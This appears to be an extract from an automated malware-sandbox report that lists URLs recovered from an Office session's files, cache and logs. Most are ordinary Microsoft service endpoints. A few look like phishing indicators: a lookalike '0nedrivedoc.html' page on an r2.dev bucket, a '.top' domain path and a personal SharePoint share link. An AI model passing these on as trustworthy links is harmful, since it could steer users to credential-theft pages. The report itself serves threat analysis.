Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://cdn.hubblecontent.osi.office.net/
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://cdn.int.designerapp.osi.office.net/fonts
Source: chromecache_1088.11.dr, chromecache_930.11.dr, chromecache_955.11.dr	String found in binary or memory: https://centralus1-mediad.svc.ms
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://client-office365-tas.msedge.net/ab
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://clients.config.office.net
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://clients.config.office.net/
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://clients.config.office.net/c2r/v1.0/DeltaAdvisory
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://clients.config.office.net/c2r/v1.0/InteractiveInstallation
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/android/policies
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/ios
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/mac
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/tenantassociationkey
Source: chromecache_1088.11.dr, chromecache_930.11.dr, chromecache_996.11.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/web/policies
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://cloudfiles.onenote.com/upload.aspx
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://config.edge.skype.com/config/v1/Office
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://config.edge.skype.com/config/v2/Office
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://consent.config.office.com/consentcheckin/v1.0/consents
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://consent.config.office.com/consentweb/v1.0/consents
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://cortana.ai
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://cortana.ai/api
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://cr.office.com
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://d.docs.live.net
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://dataservice.o365filtering.com
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://dataservice.o365filtering.com/
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://designerapp.azurewebsites.net
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://designerappservice.officeapps.live.com
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://dev.cortana.ai
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://dev0-api.acompli.net/autodetect
Source: chromecache_884.11.dr	String found in binary or memory: https://developers.cloudflare.com/r2/data-access/public-buckets/
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://devnull.onenote.com
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://directory.services.
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://ecs.office.com
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://ecs.office.com/config/v1/Designer
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://ecs.office.com/config/v2/Office
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://edge.skype.com/registrar/prod
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://edge.skype.com/rps
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://enrichment.osi.office.net/
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Refresh/v1
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Resolve/v1
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Search/v1
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/StockHistory/v1
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/ipcheck/v1
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/v2.1601652342626
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/metadata.json
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/desktop/main.cshtml
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/web/main.cshtml
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://entitlement.diagnostics.office.com
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://entitlement.diagnosticssdf.office.com
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://excel.uservoice.com/forums/304936-excel-for-mobile-devices-tablets-phones-android
Source: chromecache_902.11.dr, chromecache_892.11.dr	String found in binary or memory: https://facebook.github.io/react/docs/more-about-refs.html#the-ref-callback-attribute
Source: chromecache_1124.11.dr	String found in binary or memory: https://fowlervillefd.top/300/
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://fpastorage.cdn.office.net/%s
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://fpastorage.cdn.office.net/firstpartyapp/addins.xml
Source: chromecache_749.11.dr, chromecache_1139.11.dr	String found in binary or memory: https://github.com/uuidjs/uuid#getrandomvalues-not-supported
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://globaldisco.crm.dynamics.com
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://graph.ppe.windows.net
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://graph.ppe.windows.net/
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://graph.windows.net
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://graph.windows.net/
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/pivots/
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/telemetry
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?cp=remix3d
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?secureurl=1
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=icons
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockimages
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockvideos
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://ic3.teams.office.com
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://incidents.diagnostics.office.com
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://incidents.diagnosticssdf.office.com
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://inclient.store.office.com/gyro/client
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://inclient.store.office.com/gyro/clientstore
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArt
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Facebook
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/odc/insertmedia
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://invites.office.com/
Source: ~WRS{B02E8208-851C-4CA4-B31F-A161FD6ADE87}.tmp.0.dr	String found in binary or memory: https://ipmdoctor-my.sharepoint.com/:f:/g/personal/jkim_boomeranghc_com/EpVq1HiUlY9HllcA6glOI2YBVBUL
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/GetFreeformSpeech
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/Getvoices
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://lifecycle.office.com
Source: chromecache_910.11.dr	String found in binary or memory: https://lists.live.com/
Source: chromecache_1088.11.dr, chromecache_930.11.dr, chromecache_955.11.dr	String found in binary or memory: https://livefilestore.com/
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr, chromecache_1054.11.dr, chromecache_774.11.dr	String found in binary or memory: https://login.microsoftonline.com
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://login.microsoftonline.com/
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://login.microsoftonline.com/organizations
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorize
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://login.windows.local
Source: OUTLOOK_16_0_16827_20130-20241107T1400480649-7036.etl.0.dr	String found in binary or memory: https://login.windows.localR
Source: OUTLOOK_16_0_16827_20130-20241107T1400480649-7036.etl.0.dr	String found in binary or memory: https://login.windows.localk.FR
Source: OUTLOOK_16_0_16827_20130-20241107T1400480649-7036.etl.0.dr	String found in binary or memory: https://login.windows.localnull
Source: OUTLOOK_16_0_16827_20130-20241107T1400480649-7036.etl.0.dr	String found in binary or memory: https://login.windows.localnullD
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://login.windows.net/common/oauth2/authorize
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://loki.delve.office.com/api/v1/configuration/officewin32/
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://lookup.onenote.com/lookup/geolocation/v1
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://make.powerautomate.com
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://management.azure.com
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://management.azure.com/
Source: chromecache_1088.11.dr, chromecache_930.11.dr, chromecache_844.11.dr, chromecache_955.11.dr, chromecache_1126.11.dr, chromecache_1082.11.dr, chromecache_965.11.dr	String found in binary or memory: https://media.cloudapp.net
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://messagebroker.mobile.m365.svc.cloud.microsoft
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://messaging.action.office.com/
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://messaging.action.office.com/setcampaignaction
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://messaging.action.office.com/setuseraction16
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://messaging.engagement.office.com/
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://messaging.engagement.office.com/campaignmetadataaggregator
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://messaging.lifecycle.office.com/
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://messaging.lifecycle.office.com/getcustommessage16
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://messaging.office.com/
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://metadata.templates.cdn.office.net/client/log
Source: chromecache_1054.11.dr, chromecache_774.11.dr	String found in binary or memory: https://microsoft.spfx3rdparty.com
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://mss.office.com
Source: chromecache_965.11.dr	String found in binary or memory: https://my.microsoftpersonalcontent.com
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://ncus.contentsync.
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://ncus.pagecontentsync.
Source: chromecache_1088.11.dr, chromecache_930.11.dr, chromecache_844.11.dr, chromecache_955.11.dr, chromecache_1126.11.dr, chromecache_1082.11.dr, chromecache_965.11.dr	String found in binary or memory: https://northcentralus1-medias.svc.ms
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://notification.m365.svc.cloud.microsoft/
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://notification.m365.svc.cloud.microsoft/PushNotifications.Register
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com/api/userauditrecord
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://ocos-office365-s2s.msedge.net/ab
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://odc.officeapps.live.com/odc/stat/images/OneDriveUpsell.png
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsell
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://odc.officeapps.live.com/odc/xml?resource=OneDriveSyncClientUpsell
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://ods-diagnostics-ppe.trafficmanager.net
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://ofcrecsvcapi-int.azurewebsites.net/
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://officeapps.live.com
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://officeci.azurewebsites.net/api/
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://officepyservice.office.net/
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://officepyservice.office.net/service.functionality
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://officesetup.getmicrosoftkey.com
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://ogma.osi.office.net/TradukoApi/api/v1.0/
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentities
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentitiesupdated
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officesharedentities
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officesharedentitiesupdated
Source: chromecache_955.11.dr, chromecache_982.11.dr	String found in binary or memory: https://onedrive.cloud.microsoft
Source: chromecache_955.11.dr, chromecache_982.11.dr	String found in binary or memory: https://onedrive.dev.cloud.microsoft
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://onedrive.live.com
Source: chromecache_719.11.dr, chromecache_1011.11.dr	String found in binary or memory: https://onedrive.live.com/?gologin=1
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://onedrive.live.com/embed?
Source: chromecache_1054.11.dr, chromecache_774.11.dr	String found in binary or memory: https://onedrive.live.com/sa
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://otelrules.azureedge.net
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://otelrules.svc.static.microsoft
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://outlook.office.com
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://outlook.office.com/
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://outlook.office.com/autosuggest/api/v1/init?cvid=
Source: chromecache_971.11.dr, chromecache_980.11.dr	String found in binary or memory: https://outlook.office.com/search
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://outlook.office365.com
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://outlook.office365.com/
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://outlook.office365.com/api/v1.0/me/Activities
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://outlook.office365.com/connectors
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://ovisualuiapp.azurewebsites.net/pbiagave/
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://pages.store.office.com/appshome.aspx?productgroup=Outlook
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://pages.store.office.com/review/query
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://pages.store.office.com/webapplandingpage.aspx
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://partnerservices.getmicrosoftkey.com/PartnerProvisioning.svc/v1/subscriptions
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
Source: chromecache_1088.11.dr, chromecache_930.11.dr, chromecache_955.11.dr	String found in binary or memory: https://portal.office.com/
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://portal.office.com/account/?ref=ClientMeControl
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://posarprodcssservice.accesscontrol.windows.net/v2/OAuth2-13
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://powerlift-frontdesk.acompli.net
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://powerlift.acompli.net
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://prod-global-autodetect.acompli.net/autodetect
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://prod.mds.office.com/mds/api/v1.0/clientmodeldirectory
Source: chromecache_1141.11.dr, chromecache_873.11.dr	String found in binary or memory: https://pub-3080d3652c0f47b18b2c244bf5856be6.r2.dev/0nedrivedoc.html)
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://pushchannel.1drv.ms
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json
Source: chromecache_1134.11.dr	String found in binary or memory: https://reactjs.org/link/react-polyfills
Source: chromecache_1088.11.dr, chromecache_930.11.dr	String found in binary or memory: https://res-1-sdf.cdn.office.net
Source: chromecache_1088.11.dr, chromecache_930.11.dr, chromecache_719.11.dr	String found in binary or memory: https://res-1.cdn.office.net
Source: chromecache_739.11.dr, chromecache_1143.11.dr, chromecache_1103.11.dr	String found in binary or memory: https://res-1.cdn.office.net/files/fabric-cdn-prod_20230815.002/assets
Source: chromecache_900.11.dr, chromecache_719.11.dr	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2024-10-25.006/
Source: chromecache_719.11.dr	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2024-10-25.006/odblightspeedwebpack/143.js
Source: chromecache_719.11.dr	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2024-10-25.006/odblightspeedwebpack/15.js
Source: chromecache_719.11.dr	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2024-10-25.006/odblightspeedwebpack/164.js
Source: chromecache_719.11.dr	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2024-10-25.006/odblightspeedwebpack/29.js
Source: chromecache_719.11.dr	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2024-10-25.006/odblightspeedwebpack/35.js
Source: chromecache_719.11.dr	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2024-10-25.006/odblightspeedwebpack/36.js
Source: chromecache_719.11.dr	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2024-10-25.006/odblightspeedwebpack/401.js
Source: chromecache_719.11.dr	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2024-10-25.006/odblightspeedwebpack/52.js
Source: chromecache_719.11.dr	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2024-10-25.006/odblightspeedwebpack/79.js
Source: chromecache_719.11.dr	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2024-10-25.006/odblightspeedwebpack/en-us/initial.r
Source: chromecache_719.11.dr	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2024-10-25.006/odblightspeedwebpack/en-us/ondemand.
Source: chromecache_719.11.dr	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2024-10-25.006/odblightspeedwebpack/odblightspeedwe
Source: chromecache_719.11.dr	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2024-10-25.006/odblightspeedwebpack/plt.listviewdat
Source: chromecache_900.11.dr	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2024-10-25.006/stsserviceworkerprefetch/stsservicew
Source: chromecache_900.11.dr, chromecache_1107.11.dr, chromecache_922.11.dr	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2024-10-25.007/
Source: chromecache_900.11.dr	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2024-10-25.007/spserviceworker.js
Source: chromecache_1107.11.dr, chromecache_922.11.dr	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2024-10-25.007/spwebworker.js
Source: chromecache_719.11.dr	String found in binary or memory: https://res-1.cdn.office.net/files/sp-client/odsp-media-0251a22b
Source: chromecache_719.11.dr	String found in binary or memory: https://res-1.cdn.office.net/files/sp-client/odsp.1ds/odsp.1ds.lib-ddea8585
Source: chromecache_719.11.dr	String found in binary or memory: https://res-1.cdn.office.net/files/sp-client/odsp.aria/odsp.aria.lib-ab227069
Source: chromecache_719.11.dr	String found in binary or memory: https://res-1.cdn.office.net/files/sp-client/odsp.fluentui.core/fui.core-e52eea1a
Source: chromecache_719.11.dr	String found in binary or memory: https://res-1.cdn.office.net/files/sp-client/odsp.fluentui.core/fui.core-e52eea1a.js
Source: chromecache_719.11.dr	String found in binary or memory: https://res-1.cdn.office.net/files/sp-client/odsp.fluentui.utilities/fui.util-93de749b
Source: chromecache_719.11.dr	String found in binary or memory: https://res-1.cdn.office.net/files/sp-client/odsp.fluentui.utilities/fui.util-93de749b.js
Source: chromecache_719.11.dr	String found in binary or memory: https://res-1.cdn.office.net/files/sp-client/odsp.knockout/odsp.knockout.lib-447adea9
Source: chromecache_719.11.dr	String found in binary or memory: https://res-1.cdn.office.net/files/sp-client/odsp.knockout/odsp.knockout.lib-447adea9.js
Source: chromecache_719.11.dr	String found in binary or memory: https://res-1.cdn.office.net/files/sp-client/odsp.react/odsp.react.lib-9ea4d016
Source: chromecache_719.11.dr	String found in binary or memory: https://res-1.cdn.office.net/files/sp-client/odsp.react/odsp.react.lib-9ea4d016.js
Source: chromecache_719.11.dr	String found in binary or memory: https://res-1.cdn.office.net/files/sp-client/odsp.tslib/tslib-6a7224b3
Source: chromecache_719.11.dr	String found in binary or memory: https://res-1.cdn.office.net/files/sp-client/odsp.tslib/tslib-6a7224b3.js
Source: chromecache_719.11.dr	String found in binary or memory: https://res-1.cdn.office.net/files/sp-client/odsp.utilities/odsp.util-bf5094e9
Source: chromecache_719.11.dr	String found in binary or memory: https://res-1.cdn.office.net/files/sp-client/odsp.utilities/odsp.util-bf5094e9.js
Source: chromecache_719.11.dr	String found in binary or memory: https://res-2.cdn.office.net/files/odsp-web-prod_2024-10-25.006/
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://res.cdn.office.net
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://res.cdn.office.net/mro1cdnstorage/fonts/prod/4.40
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://res.cdn.office.net/polymer/models
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://res.getmicrosoftkey.com/api/redemptionevents
